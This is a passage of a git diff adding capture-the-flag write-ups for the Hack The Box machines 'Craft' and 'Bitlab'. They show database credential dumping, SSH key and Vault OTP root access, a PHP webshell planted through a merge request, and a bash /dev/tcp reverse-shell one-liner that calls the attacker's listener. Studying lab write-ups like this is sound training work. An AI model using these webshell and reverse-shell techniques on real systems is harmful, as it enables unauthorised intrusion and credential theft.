db.Column(db.Text) + abv = db.Column(db.Numeric)** + + + def __init__(self, brewer, name, style, abv): + self.brewer = brewer + self.name = name + self.style = style + self.abv = abv + + def __repr__(self): + return '' % self.name + + **class User(db.Model): + id = db.Column(db.Integer, primary_key=True) + username = db.Column(db.String(45)) + password = db.Column(db.String(80))** + + def __init__(self, username, password): + self.username = username + self.password = password + + +so from here the goal is to modify the SQL query of dbtest.py in order to fetch all the content of the user table: + +![](prg/44_011.png) Now you see why it was important for us to spawn a full tty shell with tab completion, because we need to edit this file with vim and without a fully interactive shell this is next to impossible, and you'd need to edit it on your machine, and then send it over to the machine, so continuing we can use this pythonscript to execute any sql command we want, and most particularly listing the contents of the craft database which contains the user table: + + + + /opt/app # python dbtest.py 'SELECT user()' + [{'user()': 'craft@172.20.0.6'}] + + + + + + /opt/app # python dbtest.py "SELECT schema_name FROM information_schema.schemata;" + [{'SCHEMA_NAME': 'information_schema'}, {'SCHEMA_NAME': 'craft'} + + + +So here we see that we have 2 databases, information_schema and craft : + + + + /opt/app # python dbtest.py "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'" + [{'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'brew'}, {'TABLE_SCHEMA': 'craft', 'TABLE_NAME': 'user'}] + + + +The interesting table here is the user table, so let's enumerate it : + + + + /opt/app # python dbtest.py "SELECT * from user" + [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, **{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}**] + + + +And we have credentials, the important credentials here are gilfoyle's credentials which we can use to login in gogs to reveal a private repository: + +![](prg/44_012.png) ![](prg/44_013.png) + + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft] + → nano id_rsa_gilfoyle + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft] + → chmod 600 id_rsa_gilfoyle + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Craft] + → ssh -i id_rsa_gilfoyle gilfoyle@craft.htb + + + . * .. . * * + * * @()Ooc()* o . + (Q@*0CG*O() ___ + |\_________/|/ _ \ + | | | | | / | | + | | | | | | | | + | | | | | | | | + | | | | | | | | + | | | | | | | | + | | | | | \_| | + | | | | |\___/ + |\_|__|__|_/| + \_________/ + + + + Enter passphrase for key 'id_rsa_gilfoyle': + Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + gilfoyle@craft:~$ id + uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle) + gilfoyle@craft:~$ cat user.txt + bbXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +the text goes here + + + + **gilfoyle@craft:~$ env** + SSH_CONNECTION=10.10.14.11 33304 10.10.10.110 22 + LANG=en_US.UTF-8 + XDG_SESSION_ID=217 + USER=gilfoyle + PWD=/home/gilfoyle + HOME=/home/gilfoyle + SSH_CLIENT=10.10.14.11 33304 22 + SSH_TTY=/dev/pts/0 + MAIL=/var/mail/gilfoyle + TERM=screen-256color + SHELL=/bin/bash + VAULT_ADDR=https://vault.craft.htb:8200/ + SHLVL=1 + LOGNAME=gilfoyle + XDG_RUNTIME_DIR=/run/user/1001 + PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + _=/usr/bin/env + + **gilfoyle@craft:~$ ls -lash** + total 36K + 4.0K drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 . + 4.0K drwxr-xr-x 3 root root 4.0K Feb 9 2019 .. + 4.0K -rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc + 4.0K drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config + 4.0K -rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile + 4.0K drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh + 4.0K -r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt + 4.0K -rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token + 4.0K -rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo + + **gilfoyle@craft:~$ cat .vault-token** + f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 + + +Here we are hinted towards a vault binary, which we can check that it is there on this machine: + + + gilfoyle@craft:~$ which vault + /usr/local/bin/vault + + +Vault is suppposed to _"Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API"_ + +![](prg/44_014.png) + +Looking back at the private repository, there is also an other interesting file: **docker-compose.yml** + + + version: '3' + services: + db: + image: mysql + expose: + - "3306" + volumes: + - /opt/storage/mysql:/var/lib/mysql + repo: + image: gogs/gogs + expose: + - "6022" + - "3000" + ports: + - 6022:6022 + volumes: + - /opt/storage/gogs:/data + home: + image: craft-flask:master + volumes: + - /opt/storage/craft-home/:/opt/app + expose: + - "8888" + command: [python, ./app.py] + api: + image: craft-flask:master + volumes: + - /opt/storage/craft-api/:/opt/app + expose: + - "8888" + command: [python, ./app.py] + proxy: + image: nginx:latest + volumes: + - /opt/storage/nginx/conf/nginx.conf:/etc/nginx/nginx.conf + - /opt/storage/nginx/pki/:/etc/nginx/pki/ + ports: + - 80:80 + - 443:443 + vault: + image: craft-vault:master + volumes: + - /opt/storage/vault/config:/vault/config + - /opt/storage/vault/pki:/vault/pki + - /opt/storage/vault/log:/vault/logs + - /opt/storage/vault/data:/vault/data + expose: + - "8200" + entrypoint: vault server -config /vault/config/config.hcl + privileged: true + + + +This tells us how the http traffic is routed, the sql config gives us info as to how the database is initialised, which may come in handy later on. The interesting part is said vault and it's config, which has another file related to it: + +![](prg/44_015.png) + +Enumerating it further: + +![](prg/44_016.png) ![](prg/44_017.png) + +Looks like a rabbit hole, so the idea here is to use the secret sh script that we found earlier: + + + gilfoyle@craft:~$ vault read ssh/roles/root_otp + Key Value + --- ----- + allowed_users n/a + cidr_list 0.0.0.0/0 + default_user root + exclude_cidr_list n/a + key_type otp + port 22 + + + +The important thing here is that it hints us towards a ssh connection into said vault, as the root user, using the otp mode, so we do so: + + + gilfoyle@craft:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1 + **Vault could not locate "sshpass". The OTP code for the session is displayed + below. Enter this code in the SSH password prompt. If you install sshpass, + Vault can automatically perform this step for you.** + OTP for the session is: **22922797-90f8-8d0f-9414-7f413458f6e4** + + + . * .. . * * + * * @()Ooc()* o . + (Q@*0CG*O() ___ + |\_________/|/ _ \ + | | | | | / | | + | | | | | | | | + | | | | | | | | + | | | | | | | | + | | | | | | | | + | | | | | \_| | + | | | | |\___/ + |\_|__|__|_/| + \_________/ + + + + Password: + + +That's preety neat, it gives us the root password for vault because it couldn't locate sshpass. + + + Password: + Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Aug 27 04:53:14 2019 + root@craft:~# id + uid=0(root) gid=0(root) groups=0(root) + root@craft:~# cat /root/root.txt + 83XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/44_graph.png) + diff --git a/Medium/45.md b/Medium/45.md new file mode 100644 index 0000000..c54b7eb --- /dev/null +++ b/Medium/45.md @@ -0,0 +1,742 @@ +# Bitlab Writeup + +![](img/45.png) + +## Introduction : + +Bitlab is a Medium linux box released back in September 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → sudo nmap -vvv -sTU -p- 10.10.10.114 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Discovered open port 80/tcp on 10.10.10.114 + Discovered open port 22/tcp on 10.10.10.114 + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → nmap -sCV -p22,80 10.10.10.114 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 17:43 BST + Nmap scan report for 10.10.10.114 + Host is up (0.091s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) + | 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) + |_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) + 80/tcp open http nginx + | http-robots.txt: 55 disallowed entries (15 shown) + | / /autocomplete/users /search /api /admin /profile + | /dashboard /projects/new /groups/new /groups/*/edit /users /help + |_/s/ /snippets/new /snippets/*/edit + | http-title: Sign in \xC2\xB7 GitLab + |_Requested resource was http://10.10.10.114/users/sign_in + |_http-trane-info: Problem with XML parsing of /evox/about + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running nginx so let's check it out: + +![](prg/45_001.png) + +So here we can see a gitlab login page which is essentially a way to manage git repos in a more private manner than using a standard github repository. However our nmap scan also picked up some interesting stuff hinting us towards robots.txt so we check it out: + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → curl -sk http://10.10.10.114/robots.txt + # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file + # + # To ban all spiders from the entire site uncomment the next two lines: + # User-Agent: * + # Disallow: / + + # Add a 1 second delay between successive requests to the same server, limits resources used by crawler + # Only some crawlers respect this setting, e.g. Googlebot does not + # Crawl-delay: 1 + + # Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application + User-Agent: * + Disallow: /autocomplete/users + Disallow: /search + Disallow: /api + Disallow: /admin + Disallow: /profile + Disallow: /dashboard + Disallow: /projects/new + Disallow: /groups/new + Disallow: /groups/*/edit + Disallow: /users + Disallow: /help + # Only specifically allow the Sign In page to avoid very ugly search results + Allow: /users/sign_in + + # Global snippets + User-Agent: * + Disallow: /s/ + Disallow: /snippets/new + Disallow: /snippets/*/edit + Disallow: /snippets/*/raw + + # Project details + User-Agent: * + Disallow: /*/*.git + Disallow: /*/*/fork/new + Disallow: /*/*/repository/archive* + Disallow: /*/*/activity + Disallow: /*/*/new + Disallow: /*/*/edit + Disallow: /*/*/raw + Disallow: /*/*/blame + Disallow: /*/*/commits/*/* + Disallow: /*/*/commit/*.patch + Disallow: /*/*/commit/*.diff + Disallow: /*/*/compare + Disallow: /*/*/branches/new + Disallow: /*/*/tags/new + Disallow: /*/*/network + Disallow: /*/*/graphs + Disallow: /*/*/milestones/new + Disallow: /*/*/milestones/*/edit + Disallow: /*/*/issues/new + Disallow: /*/*/issues/*/edit + Disallow: /*/*/merge_requests/new + Disallow: /*/*/merge_requests/*.patch + Disallow: /*/*/merge_requests/*.diff + Disallow: /*/*/merge_requests/*/edit + Disallow: /*/*/merge_requests/*/diffs + Disallow: /*/*/project_members/import + Disallow: /*/*/labels/new + Disallow: /*/*/labels/*/edit + Disallow: /*/*/wikis/*/edit + Disallow: /*/*/snippets/new + Disallow: /*/*/snippets/*/edit + Disallow: /*/*/snippets/*/raw + Disallow: /*/*/deploy_keys + Disallow: /*/*/hooks + Disallow: /*/*/services + Disallow: /*/*/protected_branches + Disallow: /*/*/uploads/ + Disallow: /*/-/group_members + Disallow: /*/project_members + + +Unfortunately this is most likely a rabbithole so instead let's view the timestamps of any file hosted on this nginx instance, using wget and exiftool: + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → curl -sk http://10.10.10.114 + You are being [redirected](http://10.10.10.114/users/sign_in). + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → curl -sk http://10.10.10.114/users/sign_in | grep href + + + + + + + + + Sign in + [Forgot your password?](/users/password/new) + [Explore](/explore) + [Help](/help) + [About GitLab](https://about.gitlab.com/) + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → wget http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg + --2020-04-29 17:52:22-- http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg + Connecting to 10.10.10.114:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 2475 (2.4K) [image/svg+xml] + Saving to: ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’ + + logo-d36b5212042cebc89b96df4bf6ac24e43d 100%[===============================================================================>] 2.42K --.-KB/s in 0s + + 2020-04-29 17:52:22 (66.5 MB/s) - ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’ saved [2475/2475] + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg + -bash: exiftool: command not found + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB] + → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg + ExifTool Version Number : 11.94 + File Name : logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg + Directory : . + File Size : 2.4 kB + File Modification Date/Time : 2018:12:29 10:18:08+00:00 + File Access Date/Time : 2020:04:29 17:52:22+01:00 + File Inode Change Date/Time : 2020:04:29 17:52:22+01:00 + File Permissions : rw-r--r-- + File Type : SVG + File Type Extension : svg + MIME Type : image/svg+xml + Image Width : 210 + Image Height : 210 + View Box : 0 0 210 210 + SVG Version : 1.1 + Xmlns : http://www.w3.org/2000/svg + Title : Slice 1 + Desc : Created with Sketch. + Image Size : 210x210 + Megapixels : 0.044 + + +And here we see that this file has a file modification date of december 2018 so if we were to look for public exploits, we would need to look for exploits that have been published after this date for them to be relevant on this box. One sidenote is, that you should use wget in this instance instead of downloading it through firefox because firefox will invariably timestamp the file you download. So in order to enumerate the webserver further we'll use gobuster: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab] + → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.114 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/04/29 17:58:44 Starting gobuster + =============================================================== + Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.114/ebf2edd7-9c49-43ec-8782-b6f64e0293e2 => 302. To force processing of Wildcard responses, specify the '--wildcard' switch + + + +Here we see that gobuster hits a 302 status code which is an [URL redirection status code](https://en.wikipedia.org/wiki/HTTP_302) The problem is that gobuster has no way of detecting this so we'll use burpsuite instead: + +![](prg/45_002.png) + +Send it over to the repeater: + +![](prg/45_003.png) + +And there we can see that we are being redirected if we try to reach a page that doesn't exist so from here we have to specify which status codes we want from our gobuster scan using the -s scan: + + + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab] + → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -s 200,204,301,307,401,403 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.114 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/04/29 18:26:47 Starting gobuster + =============================================================== + /help (Status: 301) + /profile (Status: 301) + /search (Status: 200) + /public (Status: 200) + /root (Status: 200) + /explore (Status: 200) + /ci (Status: 301) + Progress: 5257 / 220561 (2.38%) + + +Almost immediately gobuster finds a few interesting webpages, the first one we'll check here is /help: + +![](prg/45_004.png) + +Here we see something interesting which is that the Gitlab Login link is in fact just a bunch of javascript , so we can copy the link : + + + javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() + + +Which seems to be some javascript obfuscated code, so we can use some [javascript prettifier](beautifier.io) to make it readable, but we can do the same from inside our terminal using vim's :%s function + + + :%s/;/\r/g + + + +This is so in order to change the \r into newlines: + +![](prg/45_005.png) + +Then we'll use the firefox developer console to de-obfuscate this javascript: + +![](prg/45_006.png) + +So here we see some credentials: clave:11des0081x, now we can obviously de-obfuscate the other 2 lines with this deobfuscated javascript array which contains all the info we need: + + + function(){ + 0: "value" + 1: "user_login" + 2: "getElementById" + 3: "clave" + 4: "user_password" + 5: "11des0081x" + + document[getElementById](user_login)[value]= "clave" + document[getElementById](user_password)[value]= "11des0081x" + })() + + +These are basically some hardcoded javascript credentials, this is sadly a technique used by many companies to this day which, if you de-obfuscate their javascript code you may reveal some sensitive information which should simply not happen, obviously we can see the values 1 and 4 in the sign_in page: + +![](prg/45_007.png) + +The idea behind this javascript is that whoever did this could simply bookmark it and it would basically autocomplete for them. Obviously just purely obfuscating such javascript is not going to make it secure in any sense, so let's login : + +![](prg/45_008.png) + +So once logged in we get a dashboard but on a side note, we get a particular cookie, and if we look at gobuster's options, we see that we can specify a cookie string: + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab] + → gobuster dir --help | grep cookie + -c, --cookies string Cookies to use for the requests + + +` ![](prg/45_009.png) + +So we take the cookie from here (F12 > Storage > cookies > _gitlab_session) and give it to gobuster: + + + gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8 + + +And now with this authenticated cookie, gobuster is able to find some more files, + + + [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Bitlab] + → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -s 200,204,301,307,401,403 -c "_gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8" + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.114 + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,307,401,403 + [+] Cookies: _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/04/29 19:14:19 Starting gobuster + =============================================================== + /help (Status: 301) + /profile (Status: 301) + /search (Status: 200) + /public (Status: 200) + + +so looking at the dashboard: + +![](prg/45_010.png) + +Heading over there, settings are just a broken page, however when we head over to the profile page we see the timestamp we got earlier using wget and exiftool: + +![](prg/45_011.png) + +Heading over to snippets, we see some postgresql database credentials + +![](prg/45_012.png) + +So we could use those credentials, but first let's head over to the administrator profile gitlab webpage and we could potentially check it's history for interesting commits but there's not so much to see here. + +![](prg/45_013.png) + +So let's take a look at the other gitlab user which is "deployer" which has an interesting index.php file: + +![](prg/45_014.png) + +This basically tells us that a potential www-data user can execute a git pull command as the root user on this index.php And we also know that git has got a bunch of POST hook commands which allows you to do git push, merge, clone etc. So since we are logged in as the "clave" user we can create a new branch, and place our reverse php shell there, and hopefully get a shell onto the box, the problem is that we don't know which php commands are blacklisted most importantly the system command, the file_get_contents commands, the exec(); commands and so on. so we want to add a simple echo statement at the beginning to make sure our php file is being executed: + + + <****?php + echo "nihilist"; + system($_REQUEST['pr0metheus']); + ?****> + +This php file we created should get merged on the master branch as we have been hinted to do so earlier on: + +![](prg/45_015.png) ![](prg/45_016.png) + +Merge the request to the master branch, and go there, you should see our reverse php shell there: + +![](prg/45_017.png) + +So once it's uploaded we can simply try to execute commands with it : + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab] + → curl -sk http://10.10.10.114/profile/reverse.php + nihilist + + **Notice** : Undefined index: pr0metheus in **/var/www/html/profile/reverse.php** on line **3** + + + + **Warning** : system(): Cannot execute a blank command in **/var/www/html/profile/reverse.php** on line **3** + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab] + → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=id + nihilistuid=33(www-data) gid=33(www-data) groups=33(www-data) + + + +So here we can see that we have some Remote Code Execution as www-data, + + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab] + → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1' + nihilist + + +Now here the problem is that even though with a ncat listener , we don't get a reverse shell connection, that is because we are doing a GET request with curl, so instead we'll go for the POST request alternative: + +![](prg/45_018.png) + +Once we interecepted our request and sent it to the repeater (CTRL+R) and went there (CTRL+SHIFT+R) we'll then change the request to a post request, (right click > "change request method") and paste a bash reverse shell one liner as our pr0metheus variable which gives us the following request: + + + POST /profile/reverse.php HTTP/1.1 + Host: 10.10.10.114 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + DNT: 1 + Connection: close + Cookie: _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8; sidebar_collapsed=false; event_filter=all + Upgrade-Insecure-Requests: 1 + Cache-Control: max-age=0 + Content-Type: application/x-www-form-urlencoded + Content-Length: 66 + + pr0metheus=bash -c **'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'** + + +And obviously do not forget to url encode the highlighted line which is our reverse shell one liner: + +![](prg/45_019.png) + +And we get a reverse shell ! Now let's upgrade it to a fully interactive reverse shell: + + + + [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 40284 + bash: cannot set terminal process group (1107): Inappropriate ioctl for device + bash: no job control in this shell + www-data@bitlab:/var/www/html/profile$ which python + which python + /usr/bin/python + www-data@bitlab:/var/www/html/profile$ python -c 'import pty;pty.spawn("/bin/bash")' + www-data@bitlab:/var/www/html/profile$ ^Z + [1]+ Stopped nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~] + → stty raw -echo + + [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~] + → nc -lvnp 9001 + reset + reset: unknown terminal type unknown + Terminal type? ^C + www-data@bitlab:/var/www/html/profile$ export SHELL=bash + www-data@bitlab:/var/www/html/profile$ export TERM=xterm-256color + www-data@bitlab:/var/www/html/profile$ l + Display all 103 possibilities? (y or n) + www-data@bitlab:/var/www/html/profile$ ls + .git/ README.md index.php + .htaccess developer.jpg reverse.php + + +What we did here was: + + + -get the reverse shell connection + -check if python was there on the box + -spawn a tty shell using python's pty library + -backgrounding our shell process (CTRL+Z) + -typing "stty raw -echo" + -typing "fg" which puts our shell process back in the foreground + -typing in "reset" + -responding with a CTRL+C to the unexpected "Terminal type ?" question + -exporting both our SHELL and TERM variables + + +And from there we have our fully interactive reverse shell as www-data. + +## **Part 3 : Getting Root Access** + +Now that we have our fully interactive reverse shell as www-data, we can start poking around the box some more: + + + + www-data@bitlab:/var/www/html/profile$ ls + .git/ README.md index.php + .htaccess developer.jpg reverse.php + www-data@bitlab:/var/www/html/profile$ cat /etc/hosts + 127.0.0.1 localhost + 127.0.1.1 bitlab bitlab + + # The following lines are desirable for IPv6 capable hosts + ::1 localhost ip6-localhost ip6-loopback + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + + www-data@bitlab:/var/www/html/profile$ cat /etc/passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin + systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin + syslog:x:102:106::/home/syslog:/usr/sbin/nologin + messagebus:x:103:107::/nonexistent:/usr/sbin/nologin + _apt:x:104:65534::/nonexistent:/usr/sbin/nologin + lxd:x:105:65534::/var/lib/lxd/:/bin/false + uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin + dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin + landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin + pollinate:x:109:1::/var/cache/pollinate:/bin/false + statd:x:110:65534::/var/lib/nfs:/usr/sbin/nologin + sshd:x:111:65534::/run/sshd:/usr/sbin/nologin + vboxadd:x:999:1::/var/run/vboxadd:/bin/false + clave:x:1000:1000::/home/clave:/bin/bash + + www-data@bitlab:/var/www/html/profile$ ls -lash /home + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Feb 28 2019 . + 4.0K drwxr-xr-x 24 root root 4.0K Dec 31 2018 .. + 4.0K drwxr-xr-x 4 clave clave 4.0K Aug 8 2019 clave + + +Apparently clave is the only user on this box so we have to find a way to privesc to him. However let's not forget, earlier on we saw the php script which could execute a git pull command as root from a potentially low privilege user such as www-data, so we run sudo -l to check if it is true: + + + + www-data@bitlab:/var/www/html/profile$ sudo -l + Matching Defaults entries for www-data on bitlab: + env_reset, exempt_group=sudo, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User www-data may run the following commands on bitlab: + (root) NOPASSWD: /usr/bin/git pull + + + +So it looks like we were right, now we just have to head over to the .git directory and find the hook directory + + + + www-data@bitlab:/var/www/html/profile$ ls -lash + total 124K + 4.0K drwxr-xr-x 3 root root 4.0K Apr 29 18:58 . + 4.0K drwxr-xr-x 5 root root 4.0K Jul 30 2019 .. + 4.0K drwxr-xr-x 8 root root 4.0K Apr 29 18:58 .git + 4.0K -rw-r--r-- 1 root root 42 Feb 26 2019 .htaccess + 4.0K -rw-r--r-- 1 root root 110 Jan 4 2019 README.md + 92K -rw-r--r-- 1 root root 91K Jan 5 2019 developer.jpg + 8.0K -rw-r--r-- 1 root root 4.1K Jan 4 2019 index.php + 4.0K -rw-r--r-- 1 root root 61 Apr 29 18:58 reverse.php + www-data@bitlab:/var/www/html/profile$ cd .git + www-data@bitlab:/var/www/html/profile/.git$ ls -lash + total 60K + 4.0K drwxr-xr-x 8 root root 4.0K Apr 29 18:58 . + 4.0K drwxr-xr-x 3 root root 4.0K Apr 29 18:58 .. + 4.0K -rw-r--r-- 1 root root 317 Apr 29 18:58 FETCH_HEAD + 4.0K -rw-r--r-- 1 root root 23 Jan 4 2019 HEAD + 4.0K -rw-r--r-- 1 root root 41 Apr 29 18:58 ORIG_HEAD + 4.0K drwxr-xr-x 2 root root 4.0K Jan 4 2019 branches + 4.0K -rw-r--r-- 1 root root 266 